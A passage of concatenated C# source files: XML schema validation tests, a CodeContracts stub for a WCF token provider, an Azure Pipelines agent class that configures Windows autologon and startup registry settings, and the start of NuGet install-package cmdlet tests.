Assert.Equal(true, validationSucceded); } // element validation fails after change [Fact] public void XElementFailValidate() { String parentElementName = "note"; String childElementName = "body"; object childElementValue = "Don't forget to call me! Please!"; // validate the entire document validationSucceded = true; ExtensionsClass.Validate(xmlDocument, schemaSet, new ValidationEventHandler(TestValidationHandler), true); Assert.Equal(true, validationSucceded); // alter element XElement root = xmlDocument.Element(parentElementName); root.SetElementValue(childElementName, childElementValue); ExtensionsClass.Validate(root, root.GetSchemaInfo().SchemaElement, schemaSet, new ValidationEventHandler(TestValidationHandler)); Assert.Equal(false, validationSucceded); } /* * test if exception is thrown when xml document does not * conform to the xml schema after element value change */ [Fact] public void XElementThrowExceptionValidate() { String parentElementName = "note" ; String childElementName = "body"; object childElementValue = "Don't forget to call me! Please!"; // validate the entire document validationSucceded = true; ExtensionsClass.Validate(xmlDocument, schemaSet, new ValidationEventHandler(TestValidationHandler), true); Assert.Equal(true, validationSucceded); // alter element XElement root = xmlDocument.Element(parentElementName); root.SetElementValue(childElementName, childElementValue); Assert.Throws<XmlSchemaValidationException>(() => ExtensionsClass.Validate(root, root.GetSchemaInfo().SchemaElement, schemaSet, null)); } // test attribute schema info [Fact] public void XAttributeGetSchemaInfo () { String elementName = "note"; String attributeName = "date"; // validate the entire document validationSucceded = true; ExtensionsClass.Validate(xmlDocument, schemaSet, new ValidationEventHandler(TestValidationHandler), true); Assert.Equal(true, validationSucceded); // validate attribute XAttribute date = xmlDocument.Element(elementName).Attribute(attributeName); ExtensionsClass.Validate (date, date.GetSchemaInfo().SchemaAttribute, schemaSet, new ValidationEventHandler(TestValidationHandler)); Assert.Equal(true, validationSucceded); IXmlSchemaInfo schemaInfo = ExtensionsClass.GetSchemaInfo(date); Assert.NotNull(schemaInfo); } // test element schema info [Fact] public void XElementGetSchemaInfo() { String elementName = "body"; // validate the entire document validationSucceded = true; ExtensionsClass.Validate(xmlDocument, schemaSet, new ValidationEventHandler(TestValidationHandler), true); Assert.Equal(true, validationSucceded); // validate element XElement body = xmlDocument.Root.Element(elementName); ExtensionsClass.Validate(body, body.GetSchemaInfo ().SchemaElement, schemaSet, new ValidationEventHandler(TestValidationHandler)); Assert.Equal(true, validationSucceded); IXmlSchemaInfo schemaInfo = ExtensionsClass.GetSchemaInfo(body); Assert.NotNull(schemaInfo); } } }
// CodeContracts // // Copyright (c) Microsoft Corporation // // All rights reserved. // // MIT License // // Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED *AS IS*, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. // File System.ServiceModel.Security.Tokens.IssuedSecurityTokenProvider.cs // Automatically generated contract file. using System.Collections.Generic; using System.IO; using System.Text; using System.Diagnostics.Contracts; using System; // Disable the "this variable is not used" warning as every field would imply it. #pragma warning disable 0414 // Disable the "this variable is never assigned to". #pragma warning disable 0067 // Disable the "this event is never assigned to". #pragma warning disable 0649 // Disable the "this variable is never used". #pragma warning disable 0169 // Disable the "new keyword not required" warning. #pragma warning disable 0109 // Disable the "extern without DllImport" warning. #pragma warning disable 0626 // Disable the "could hide other member" warning, can happen on certain properties. #pragma warning disable 0108 namespace System.ServiceModel.Security.Tokens { public partial class IssuedSecurityTokenProvider : System.IdentityModel.Selectors.SecurityTokenProvider, System.ServiceModel.ICommunicationObject { #region Methods and constructors public void Abort() { } public IAsyncResult BeginClose(AsyncCallback callback, Object state) { return default(IAsyncResult); } public IAsyncResult BeginClose(TimeSpan timeout, AsyncCallback callback, Object state) { return default(IAsyncResult); } protected override IAsyncResult BeginGetTokenCore(TimeSpan timeout, AsyncCallback callback, Object state) { return default(IAsyncResult); } public IAsyncResult BeginOpen(AsyncCallback callback, Object state) { return default(IAsyncResult); } public IAsyncResult BeginOpen(TimeSpan timeout, AsyncCallback callback, Object state) { return default(IAsyncResult); } public void Close() { } public void Close(TimeSpan timeout) { } public void Dispose() { } public void EndClose(IAsyncResult result) { } protected override System.IdentityModel.Tokens.SecurityToken EndGetTokenCore(IAsyncResult result) { return default(System.IdentityModel.Tokens.SecurityToken); } public void EndOpen(IAsyncResult result) { } protected override System.IdentityModel.Tokens.SecurityToken GetTokenCore(TimeSpan timeout) { return default(System.IdentityModel.Tokens.SecurityToken); } public IssuedSecurityTokenProvider() { } public void Open() { } public void Open(TimeSpan timeout) { } #endregion #region Properties and indexers public bool CacheIssuedTokens { get { return default(bool); } set { } } public virtual new TimeSpan DefaultCloseTimeout { get { return default(TimeSpan); } } public virtual new TimeSpan DefaultOpenTimeout { get { return default(TimeSpan); } } public System.ServiceModel.Security.IdentityVerifier IdentityVerifier { get { return default(System.ServiceModel.Security.IdentityVerifier); } set { } } public int IssuedTokenRenewalThresholdPercentage { get { return default(int); } set { } } public System.ServiceModel.EndpointAddress IssuerAddress { get { return default(System.ServiceModel.EndpointAddress); } set { } } public System.ServiceModel.Channels.Binding IssuerBinding { get { return default(System.ServiceModel.Channels.Binding); } set { } } public KeyedByTypeCollection<System.ServiceModel.Description.IEndpointBehavior> IssuerChannelBehaviors { get { return default(KeyedByTypeCollection<System.ServiceModel.Description.IEndpointBehavior>); } } public System.ServiceModel.Security.SecurityKeyEntropyMode KeyEntropyMode { get { return default(System.ServiceModel.Security.SecurityKeyEntropyMode); } set { } } public TimeSpan MaxIssuedTokenCachingTime { get { return default(TimeSpan); } set { } } public System.ServiceModel.MessageSecurityVersion MessageSecurityVersion { get { return default(System.ServiceModel.MessageSecurityVersion); } set { } } public System.ServiceModel.Security.SecurityAlgorithmSuite SecurityAlgorithmSuite { get { return default(System.ServiceModel.Security.SecurityAlgorithmSuite); } set { } } public System.IdentityModel.Selectors.SecurityTokenSerializer SecurityTokenSerializer { get { return default(System.IdentityModel.Selectors.SecurityTokenSerializer); } set { } } public System.ServiceModel.CommunicationState State { get { return default(System.ServiceModel.CommunicationState); } } public override bool SupportsTokenCancellation { get { return default(bool); } } public System.ServiceModel.EndpointAddress TargetAddress { get { return default(System.ServiceModel.EndpointAddress); } set { } } public System.Collections.ObjectModel.Collection<System.Xml.XmlElement> TokenRequestParameters { get { return default(System.Collections.ObjectModel.Collection<System.Xml.XmlElement>); } } #endregion #region Events public event EventHandler Closed { add { } remove { } } public event EventHandler Closing { add { } remove { } } public event EventHandler Faulted { add { } remove { } } public event EventHandler Opened { add { } remove { } } public event EventHandler Opening { add { } remove { } } #endregion } }
#if OS_WINDOWS using Microsoft.VisualStudio.Services.Agent.Util; using Microsoft.Win32; using System; using System.Collections.Generic; using System.IO; using System.Security.Principal; using System.Runtime.InteropServices; namespace Microsoft.VisualStudio.Services.Agent.Listener.Configuration { [ServiceLocator(Default = typeof(AutoLogonRegistryManager))] public interface IAutoLogonRegistryManager : IAgentService { void GetAutoLogonUserDetails(out string domainName, out string userName); void UpdateRegistrySettings(CommandSettings command, string domainName, string userName, string logonPassword); void ResetRegistrySettings(string domainName, string userName); //used to log all the autologon related registry settings when agent is running void DumpAutoLogonRegistrySettings(); } public class AutoLogonRegistryManager : AgentService, IAutoLogonRegistryManager { private IWindowsRegistryManager _registryManager; private INativeWindowsServiceHelper _windowsServiceHelper; private ITerminal _terminal; public override void Initialize(IHostContext hostContext) { base.Initialize(hostContext); _registryManager = hostContext.GetService<IWindowsRegistryManager>(); _windowsServiceHelper = hostContext.GetService<INativeWindowsServiceHelper>(); _terminal = HostContext.GetService<ITerminal>(); } public void GetAutoLogonUserDetails(out string domainName, out string userName) { userName = null; domainName = null; var regValue = _registryManager.GetValue(RegistryHive.LocalMachine, RegistryConstants.MachineSettings.SubKeys.AutoLogon, RegistryConstants.MachineSettings.ValueNames.AutoLogon); if (int.TryParse(regValue, out int autoLogonEnabled) && autoLogonEnabled == 1) { userName = _registryManager.GetValue(RegistryHive.LocalMachine, RegistryConstants.MachineSettings.SubKeys.AutoLogon, RegistryConstants.MachineSettings.ValueNames.AutoLogonUserName); domainName = _registryManager.GetValue(RegistryHive.LocalMachine, RegistryConstants.MachineSettings.SubKeys.AutoLogon, RegistryConstants.MachineSettings.ValueNames.AutoLogonDomainName); } } public void UpdateRegistrySettings(CommandSettings command, string domainName, string userName, string logonPassword) { IntPtr userHandler = IntPtr.Zero; PROFILEINFO userProfile = new PROFILEINFO(); try { string securityId = _windowsServiceHelper.GetSecurityId(domainName, userName); if(string.IsNullOrEmpty(securityId)) { Trace.Error($"Could not find the Security ID for the user '{domainName}\\{userName}'. AutoLogon will not be configured."); throw new Exception(StringUtil.Loc("InvalidSIDForUser", domainName, userName)); } //check if the registry exists for the user, if not load the user profile if(!_registryManager.SubKeyExists(RegistryHive.Users, securityId)) { userProfile.dwSize = Marshal.SizeOf(typeof(PROFILEINFO)); userProfile.lpUserName = userName; _windowsServiceHelper.LoadUserProfile(domainName, userName, logonPassword, out userHandler, out userProfile); } if(!_registryManager.SubKeyExists(RegistryHive.Users, securityId)) { throw new InvalidOperationException(StringUtil.Loc("ProfileLoadFailure", domainName, userName)); } //machine specific settings, i.e., autologon UpdateMachineSpecificRegistrySettings(domainName, userName); //user specific, i.e., screensaver and startup process UpdateUserSpecificRegistrySettings(command, securityId); } finally { if(userHandler != IntPtr.Zero) { _windowsServiceHelper.UnloadUserProfile(userHandler, userProfile); } } } public void ResetRegistrySettings(string domainName, string userName) { string securityId = _windowsServiceHelper.GetSecurityId(domainName, userName); if(string.IsNullOrEmpty(securityId)) { Trace.Error($"Could not find the Security ID for the user '{domainName}\\{userName}'. Unconfiguration of AutoLogon is not possible."); throw new Exception(StringUtil.Loc("InvalidSIDForUser", domainName, userName)); } //machine specific ResetAutoLogon(domainName, userName); //user specific ResetUserSpecificSettings(securityId); } public void DumpAutoLogonRegistrySettings() { Trace.Info("Dump from the registry for autologon related settings"); Trace.Info("****Machine specific policies/settings****"); if (_registryManager.SubKeyExists(RegistryHive.LocalMachine, RegistryConstants.MachineSettings.SubKeys.ShutdownReasonDomainPolicy)) { var shutDownReasonSubKey = RegistryConstants.MachineSettings.SubKeys.ShutdownReasonDomainPolicy; var shutDownReasonValueName = RegistryConstants.MachineSettings.ValueNames.ShutdownReason; var shutdownReasonValue = _registryManager.GetValue(RegistryHive.LocalMachine, shutDownReasonSubKey, shutDownReasonValueName); Trace.Info($"Shutdown reason domain policy. Subkey - {shutDownReasonSubKey} ValueName - {shutDownReasonValueName} : {shutdownReasonValue}"); } else { Trace.Info($"Shutdown reason domain policy not found."); } if (_registryManager.SubKeyExists(RegistryHive.LocalMachine, RegistryConstants.MachineSettings.SubKeys.LegalNotice)) { var legalNoticeSubKey = RegistryConstants.MachineSettings.SubKeys.LegalNotice; var captionValueName = RegistryConstants.MachineSettings.ValueNames.LegalNoticeCaption; //legal caption/text var legalNoticeCaption = _registryManager.GetValue(RegistryHive.LocalMachine, legalNoticeSubKey, captionValueName); //we must avoid printing the text/caption in the logs as it is user data var isLegalNoticeCaptionDefined = !string.IsNullOrEmpty(legalNoticeCaption); Trace.Info($"Legal notice caption - Subkey - {legalNoticeSubKey} ValueName - {captionValueName}. Is defined - {isLegalNoticeCaptionDefined}"); var textValueName = RegistryConstants.MachineSettings.ValueNames.LegalNoticeText; var legalNoticeText = _registryManager.GetValue(RegistryHive.LocalMachine, legalNoticeSubKey, textValueName); var isLegalNoticeTextDefined = !string.IsNullOrEmpty(legalNoticeCaption); Trace.Info($"Legal notice text - Subkey - {legalNoticeSubKey} ValueName - {textValueName}. Is defined - {isLegalNoticeTextDefined}"); } else { Trace.Info($"LegalNotice caption/text not defined"); } var autoLogonSubKey = RegistryConstants.MachineSettings.SubKeys.AutoLogon; var valueName = RegistryConstants.MachineSettings.ValueNames.AutoLogon; var isAutoLogonEnabled = _registryManager.GetValue(RegistryHive.LocalMachine, autoLogonSubKey, valueName); Trace.Info($"AutoLogon. Subkey - {autoLogonSubKey}. ValueName - {valueName} : {isAutoLogonEnabled} (0-disabled, 1-enabled)"); var userValueName = RegistryConstants.MachineSettings.ValueNames.AutoLogonUserName; var domainValueName = RegistryConstants.MachineSettings.ValueNames.AutoLogonDomainName; var userName = _registryManager.GetValue(RegistryHive.LocalMachine, autoLogonSubKey, userValueName); var domainName = _registryManager.GetValue(RegistryHive.LocalMachine, autoLogonSubKey, domainValueName); Trace.Info($"AutoLogonUser. Subkey - {autoLogonSubKey}. ValueName - {userValueName} : {userName}"); Trace.Info($"AutoLogonUser. Subkey - {autoLogonSubKey}. ValueName - {domainValueName} : {domainName}"); Trace.Info("****User specific policies/settings****"); var screenSaverPolicySubKeyName = RegistryConstants.UserSettings.SubKeys.ScreenSaverDomainPolicy; var screenSaverValueName = RegistryConstants.UserSettings.ValueNames.ScreenSaver; if(_registryManager.SubKeyExists(RegistryHive.CurrentUser, screenSaverPolicySubKeyName)) { var screenSaverSettingValue = _registryManager.GetValue(RegistryHive.CurrentUser, screenSaverPolicySubKeyName, screenSaverValueName); Trace.Info($"Screensaver policy. SubKey - {screenSaverPolicySubKeyName} ValueName - {screenSaverValueName} : {screenSaverSettingValue} (1- enabled)"); } else { Trace.Info($"Screen saver domain policy doesnt exist"); } Trace.Info("****User specific settings****"); var screenSaverSettingSubKeyName = RegistryConstants.UserSettings.SubKeys.ScreenSaver; var screenSaverSettingValueName = RegistryConstants.UserSettings.ValueNames.ScreenSaver; var screenSaverValue = _registryManager.GetValue(RegistryHive.CurrentUser, screenSaverSettingSubKeyName, screenSaverSettingValueName); Trace.Info($"Screensaver - SubKey - {screenSaverSettingSubKeyName}, ValueName - {screenSaverSettingValueName} : {screenSaverValue} (0-disabled, 1-enabled)"); var startupSubKeyName = RegistryConstants.UserSettings.SubKeys.StartupProcess; var startupValueName = RegistryConstants.UserSettings.ValueNames.StartupProcess; var startupProcessPath = _registryManager.GetValue(RegistryHive.CurrentUser, startupSubKeyName, startupValueName); Trace.Info($"Startup process SubKey - {startupSubKeyName} ValueName - {startupValueName} : {startupProcessPath}"); Trace.Info(""); } private void ResetAutoLogon(string domainName, string userName) { var actualDomainNameForAutoLogon = _registryManager.GetValue(RegistryHive.LocalMachine, RegistryConstants.MachineSettings.SubKeys.AutoLogon, RegistryConstants.MachineSettings.ValueNames.AutoLogonDomainName); var actualUserNameForAutoLogon = _registryManager.GetValue(RegistryHive.LocalMachine, RegistryConstants.MachineSettings.SubKeys.AutoLogon, RegistryConstants.MachineSettings.ValueNames.AutoLogonUserName); if (string.Equals(actualDomainNameForAutoLogon, domainName, StringComparison.CurrentCultureIgnoreCase) && string.Equals(actualUserNameForAutoLogon, userName, StringComparison.CurrentCultureIgnoreCase)) { _registryManager.SetValue(RegistryHive.LocalMachine, RegistryConstants.MachineSettings.SubKeys.AutoLogon, RegistryConstants.MachineSettings.ValueNames.AutoLogonUserName, ""); _registryManager.SetValue(RegistryHive.LocalMachine, RegistryConstants.MachineSettings.SubKeys.AutoLogon, RegistryConstants.MachineSettings.ValueNames.AutoLogonDomainName, ""); _registryManager.SetValue(RegistryHive.LocalMachine, RegistryConstants.MachineSettings.SubKeys.AutoLogon, RegistryConstants.MachineSettings.ValueNames.AutoLogon, "0"); } else { Trace.Info("AutoLogon user and/or domain name is not same as expected after autologon configuration."); Trace.Info($"Actual values: Domain - {actualDomainNameForAutoLogon}, user - {actualUserNameForAutoLogon}"); Trace.Info($"Expected values: Domain - {domainName}, user - {userName}"); Trace.Info("Skipping the revert of autologon settings."); } } private void UpdateMachineSpecificRegistrySettings(string domainName, string userName) { var hive = RegistryHive.LocalMachine; //before enabling autologon, inspect the policies that may affect it and log the warning InspectAutoLogonRelatedPolicies(); _registryManager.SetValue(hive, RegistryConstants.MachineSettings.SubKeys.AutoLogon, RegistryConstants.MachineSettings.ValueNames.AutoLogonUserName, userName); _registryManager.SetValue(hive, RegistryConstants.MachineSettings.SubKeys.AutoLogon, RegistryConstants.MachineSettings.ValueNames.AutoLogonDomainName, domainName); _registryManager.DeleteValue(hive, RegistryConstants.MachineSettings.SubKeys.AutoLogon, RegistryConstants.MachineSettings.ValueNames.AutoLogonPassword); _registryManager.DeleteValue(hive, RegistryConstants.MachineSettings.SubKeys.AutoLogon, RegistryConstants.MachineSettings.ValueNames.AutoLogonCount); _registryManager.SetValue(hive, RegistryConstants.MachineSettings.SubKeys.AutoLogon, RegistryConstants.MachineSettings.ValueNames.AutoLogon, "1"); } private void InspectAutoLogonRelatedPolicies() { Trace.Info("Checking for policies that may prevent autologon from working correctly."); _terminal.WriteLine(StringUtil.Loc("AutoLogonPoliciesInspection")); var warningReasons = new List<string>(); if (_registryManager.SubKeyExists(RegistryHive.LocalMachine, RegistryConstants.MachineSettings.SubKeys.ShutdownReasonDomainPolicy)) { //shutdown reason var shutdownReasonValue = _registryManager.GetValue(RegistryHive.LocalMachine, RegistryConstants.MachineSettings.SubKeys.ShutdownReasonDomainPolicy, RegistryConstants.MachineSettings.ValueNames.ShutdownReason); if (int.TryParse(shutdownReasonValue, out int shutdownReasonOn) && shutdownReasonOn == 1) { warningReasons.Add(StringUtil.Loc("AutoLogonPolicies_ShutdownReason")); } } if (_registryManager.SubKeyExists(RegistryHive.LocalMachine, RegistryConstants.MachineSettings.SubKeys.LegalNotice)) { //legal caption/text var legalNoticeCaption = _registryManager.GetValue(RegistryHive.LocalMachine, RegistryConstants.MachineSettings.SubKeys.LegalNotice, RegistryConstants.MachineSettings.ValueNames.LegalNoticeCaption); var legalNoticeText = _registryManager.GetValue(RegistryHive.LocalMachine, RegistryConstants.MachineSettings.SubKeys.LegalNotice, RegistryConstants.MachineSettings.ValueNames.LegalNoticeText); if (!string.IsNullOrEmpty(legalNoticeCaption) || !string.IsNullOrEmpty(legalNoticeText)) { warningReasons.Add(StringUtil.Loc("AutoLogonPolicies_LegalNotice")); } } if (warningReasons.Count > 0) { Trace.Warning("Following policies may affect the autologon:"); _terminal.WriteError(StringUtil.Loc("AutoLogonPoliciesWarningsHeader")); for (int i=0; i < warningReasons.Count; i++) { var msg = String.Format("{0} - {1}", i + 1, warningReasons[i]); Trace.Warning(msg); _terminal.WriteError(msg); } _terminal.WriteLine(); } } private void UpdateUserSpecificRegistrySettings(CommandSettings command, string securityId) { //User specific UpdateScreenSaverSettings(command, securityId); //User specific string subKeyName = $"{securityId}\\{RegistryConstants.UserSettings.SubKeys.StartupProcess}"; _registryManager.SetValue(RegistryHive.Users, subKeyName, RegistryConstants.UserSettings.ValueNames.StartupProcess, GetStartupCommand()); } private void UpdateScreenSaverSettings(CommandSettings command, string securityId) { Trace.Info("Checking for policies that may prevent screensaver from being disabled."); _terminal.WriteLine(StringUtil.Loc("ScreenSaverPoliciesInspection")); string subKeyName = $"{securityId}\\{RegistryConstants.UserSettings.SubKeys.ScreenSaverDomainPolicy}"; if(_registryManager.SubKeyExists(RegistryHive.Users, subKeyName)) { var screenSaverValue = _registryManager.GetValue(RegistryHive.Users, subKeyName, RegistryConstants.UserSettings.ValueNames.ScreenSaver); if (int.TryParse(screenSaverValue, out int isScreenSaverDomainPolicySet) && isScreenSaverDomainPolicySet == 1) { Trace.Warning("Screensaver policy is defined on the machine. Screensaver may not remain disabled always."); _terminal.WriteError(StringUtil.Loc("ScreenSaverPolicyWarning")); } } string screenSaverSubKeyName = $"{securityId}\\{RegistryConstants.UserSettings.SubKeys.ScreenSaver}"; string screenSaverValueName = RegistryConstants.UserSettings.ValueNames.ScreenSaver; //take backup if it exists string origValue = _registryManager.GetValue(RegistryHive.Users, screenSaverSubKeyName, screenSaverValueName); if (!string.IsNullOrEmpty(origValue)) { var nameForTheBackupValue = GetBackupValueName(screenSaverValueName); _registryManager.SetValue(RegistryHive.Users, screenSaverSubKeyName, nameForTheBackupValue, origValue); } _registryManager.SetValue(RegistryHive.Users, screenSaverSubKeyName, screenSaverValueName, "0"); } private string GetStartupCommand() { //startup process string cmdExePath = Environment.GetEnvironmentVariable("comspec"); if (string.IsNullOrEmpty(cmdExePath)) { Trace.Error("Unable to get the path for cmd.exe."); throw new Exception(StringUtil.Loc("FilePathNotFound", "cmd.exe")); } //file to run in cmd.exe var filePath = Path.Combine(HostContext.GetDirectory(WellKnownDirectory.Root), "run.cmd"); //extra " are to handle the spaces in the file path (if any) var startupCommand = $@"{cmdExePath} /D /S /C start ""Agent with AutoLogon"" ""{filePath}"" --startuptype autostartup"; Trace.Info($"Agent auto logon startup command: '{startupCommand}'"); return startupCommand; } private void ResetUserSpecificSettings(string securityId) { var targetHive = RegistryHive.Users; DeleteStartupCommand(targetHive, securityId); var screenSaverSubKey = $"{securityId}\\{RegistryConstants.UserSettings.SubKeys.ScreenSaver}"; var currentValue = _registryManager.GetValue(targetHive, screenSaverSubKey, RegistryConstants.UserSettings.ValueNames.ScreenSaver); if(string.Equals(currentValue, "0", StringComparison.CurrentCultureIgnoreCase)) { //we only take the backup of screensaver setting at present, reverting it back if it exists RevertOriginalValue(targetHive, screenSaverSubKey, RegistryConstants.UserSettings.ValueNames.ScreenSaver); } else { Trace.Info($"Screensaver setting value was not same as expected after autologon configuration. Actual - {currentValue}, Expected - 0. Skipping the revert of it."); } } private void DeleteStartupCommand(RegistryHive targetHive, string securityId) { var startupProcessSubKeyName = $"{securityId}\\{RegistryConstants.UserSettings.SubKeys.StartupProcess}"; var expectedStartupCmd = GetStartupCommand(); var actualStartupCmd = _registryManager.GetValue(targetHive, startupProcessSubKeyName, RegistryConstants.UserSettings.ValueNames.StartupProcess); if(string.Equals(actualStartupCmd, expectedStartupCmd, StringComparison.CurrentCultureIgnoreCase)) { _registryManager.DeleteValue(RegistryHive.Users, startupProcessSubKeyName, RegistryConstants.UserSettings.ValueNames.StartupProcess); } else { Trace.Info($"Startup process command is not same as expected after autologon configuration. Skipping the revert of it."); Trace.Info($"Actual - {actualStartupCmd}, Expected - {expectedStartupCmd}."); } } private void RevertOriginalValue(RegistryHive targetHive, string subKeyName, string name) { var nameofTheBackupValue = GetBackupValueName(name); var originalValue = _registryManager.GetValue(targetHive, subKeyName, nameofTheBackupValue); Trace.Info($"Reverting the registry setting. Hive - {targetHive}, subKeyName - {subKeyName}, name - {name}"); if (string.IsNullOrEmpty(originalValue)) { Trace.Info($"No backup value was found. Deleting the value."); //there was no backup value present, just delete the current one _registryManager.DeleteValue(targetHive, subKeyName, name); } else { Trace.Info($"Backup value was found. Revert it to the original value."); //revert to the original value _registryManager.SetValue(targetHive, subKeyName, name, originalValue); } Trace.Info($"Deleting the backup key now."); //delete the value that we created for backup purpose _registryManager.DeleteValue(targetHive, subKeyName, nameofTheBackupValue); } private string GetBackupValueName(string valueName) { return string.Concat(RegistryConstants.BackupKeyPrefix, valueName); } } public class RegistryConstants { public const string BackupKeyPrefix = "VSTSAgentBackup_"; public class MachineSettings { public class SubKeys { public const string AutoLogon = @"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"; public const string ShutdownReasonDomainPolicy = @"SOFTWARE\Policies\Microsoft\Windows NT\Reliability"; public const string LegalNotice = @"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"; } public class ValueNames { public const string AutoLogon = "AutoAdminLogon"; public const string AutoLogonUserName = "DefaultUserName"; public const string AutoLogonDomainName = "DefaultDomainName"; public const string AutoLogonCount = "AutoLogonCount"; public const string AutoLogonPassword = "DefaultPassword"; public const string ShutdownReason = "ShutdownReasonOn"; public const string LegalNoticeCaption = "LegalNoticeCaption"; public const string LegalNoticeText = "LegalNoticeText"; } } public class UserSettings { public class SubKeys { public const string ScreenSaver = @"Control Panel\Desktop"; public const string ScreenSaverDomainPolicy = @"Software\Policies\Microsoft\Windows\Control Panel\Desktop"; public const string StartupProcess = @"SOFTWARE\Microsoft\Windows\CurrentVersion\Run"; } public class ValueNames { public const string ScreenSaver = "ScreenSaveActive"; //Value name in the startup tasks list. Every startup task has a name and the command to run. //the command gets filled up during AutoLogon configuration public const string StartupProcess = "VSTSAgent"; } } } } #endif
using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Management.Automation; using EnvDTE; using Moq; using NuGet.Test; using NuGet.Test.Mocks; using NuGet.VisualStudio; using NuGet.VisualStudio.Test; using Xunit; using Xunit.Extensions; namespace NuGet.PowerShell.Commands.Test { using Microsoft.VisualStudio.Shell.Interop; using PackageUtility = NuGet.Test.PackageUtility; public class InstallPackageCommandTest { [Fact] public void InstallPackageCmdletThrowsWhenSolutionIsClosed() { // Arrange var packageA = PackageUtility.CreatePackage("A", "1.0.0"); var packageRepository = new MockPackageRepository { packageA }; var packageManager = new MockVsPackageManager2( @"c:\solution", packageRepository); var packageManagerFactory = new Mock<IVsPackageManagerFactory>(); packageManagerFactory.Setup(m => m.CreatePackageManager()).Returns(packageManager); ((MockSolutionManager2)packageManager.SolutionManager).IsSolutionOpen = false; var cmdlet = new InstallPackageCommand(packageManager.SolutionManager, packageManagerFactory.Object, null, null, null, null, new Mock<IVsCommonOperations>().Object, new Mock<IDeleteOnRestartManager>().Object, true); // Act and Assert ExceptionAssert.Throws<InvalidOperationException>(() => cmdlet.GetResults(), "The current environment doesn't have a solution open."); } /* !!! [Fact] public void InstallPackageCmdletUsesPackageManangerWithSourceIfSpecified() { // Arrange var packageManagerFactory = new Mock<IVsPackageManagerFactory>(); var vsPackageManager = new MockVsPackageManager(); var sourceVsPackageManager = new MockVsPackageManager(); var mockPackageRepository = new MockPackageRepository(); var sourceProvider = GetPackageSourceProvider(new PackageSource("somesource")); var repositoryFactory = new Mock<IPackageRepositoryFactory>(); repositoryFactory.Setup(c => c.CreateRepository(It.Is<string>(s => s == "somesource"))).Returns(mockPackageRepository); packageManagerFactory.Setup(m => m.CreatePackageManager()).Returns(vsPackageManager); packageManagerFactory.Setup(m => m.CreatePackageManager(It.IsAny<IPackageRepository>(), true)).Returns(sourceVsPackageManager); var cmdlet = new InstallPackageCommand(TestUtils.GetSolutionManager(), packageManagerFactory.Object, repositoryFactory.Object, sourceProvider, null, null, new Mock<IVsCommonOperations>().Object, new Mock<IDeleteOnRestartManager>().Object, true); cmdlet.Source = "somesource"; cmdlet.Id = "my-id"; cmdlet.Version = new SemanticVersion("2.8"); // Act cmdlet.Execute(); // Assert Assert.Same(sourceVsPackageManager, cmdlet.PackageManager); } */ [Fact] public void InstallPackageCmdletPassesParametersCorrectlyWhenIdAndVersionAreSpecified() { // Arrange var packageA28 = PackageUtility.CreatePackage("A", "2.8"); var packageA31 = PackageUtility.CreatePackage("A", "3.1"); var packageRepository = new MockPackageRepository { packageA28, packageA31 }; var packageManager = new MockVsPackageManager2( @"c:\solution", packageRepository); var packageManagerFactory = new Mock<IVsPackageManagerFactory>(); packageManagerFactory.Setup(m => m.CreatePackageManager()).Returns(packageManager); // Act var cmdlet = new InstallPackageCommand( packageManager.SolutionManager, packageManagerFactory.Object, null, new Mock<IVsPackageSourceProvider>().Object, null, null, new Mock<IVsCommonOperations>().Object, new Mock<IDeleteOnRestartManager>().Object, true); cmdlet.Id = "A"; cmdlet.Version = new SemanticVersion("2.8"); cmdlet.Execute(); // Assert: version 2.8 is installed. var installedPackages = packageManager.LocalRepository.GetPackages().ToList(); Assert.Equal(1, installedPackages.Count); Assert.Equal(packageA28, installedPackages[0], PackageEqualityComparer.IdAndVersion); } [Fact] public void InstallPackageCmdletPassesIgnoreDependencySwitchCorrectly() { // Arrange var packageA = PackageUtility.CreatePackage("A", "1.0.0", dependencies: new[] { new PackageDependency("B") }); var packageB = PackageUtility.CreatePackage("B", "1.0.0"); var packageRepository = new MockPackageRepository { packageA, packageB }; var packageManager = new MockVsPackageManager2( @"c:\solution", packageRepository); var packageManagerFactory = new Mock<IVsPackageManagerFactory>(); packageManagerFactory.Setup(m => m.CreatePackageManager()).Returns(packageManager); // Act var cmdlet = new InstallPackageCommand( packageManager.SolutionManager, packageManagerFactory.Object, null, new Mock<IVsPackageSourceProvider>().Object, null, null, new Mock<IVsCommonOperations>().Object, new Mock<IDeleteOnRestartManager>().Object, true); cmdlet.Id = "A"; cmdlet.IgnoreDependencies = new SwitchParameter(true); cmdlet.Execute(); // Assert: only packageA is installed. packageB is not. var installedPackages = packageManager.LocalRepository.GetPackages().ToList(); Assert.Equal(1, installedPackages.Count); Assert.Equal(packageA, installedPackages[0], PackageEqualityComparer.IdAndVersion); } /* !!! [Fact] public void InstallPackageCmdletInvokeProductUpdateCheckWhenSourceIsHttpAddress() { // Arrange string source = "http://bing.com"; var productUpdateService = new Mock<IProductUpdateService>(); var sourceRepository = new Mock<IPackageRepository>(); sourceRepository.Setup(p => p.Source).Returns(source); var vsPackageManager = new MockVsPackageManager(sourceRepository.Object); var packageRepositoryFactory = new Mock<IPackageRepositoryFactory>(); var sourceProvider = GetPackageSourceProvider(new PackageSource(source)); packageRepositoryFactory.Setup(c => c.CreateRepository(source)).Returns(sourceRepository.Object); var packageManagerFactory = new Mock<IVsPackageManagerFactory>(); packageManagerFactory.Setup(m => m.CreatePackageManager(sourceRepository.Object, true)).Returns(vsPackageManager); var cmdlet = new InstallPackageCommand(TestUtils.GetSolutionManager(), packageManagerFactory.Object, packageRepositoryFactory.Object, sourceProvider, null, productUpdateService.Object, new 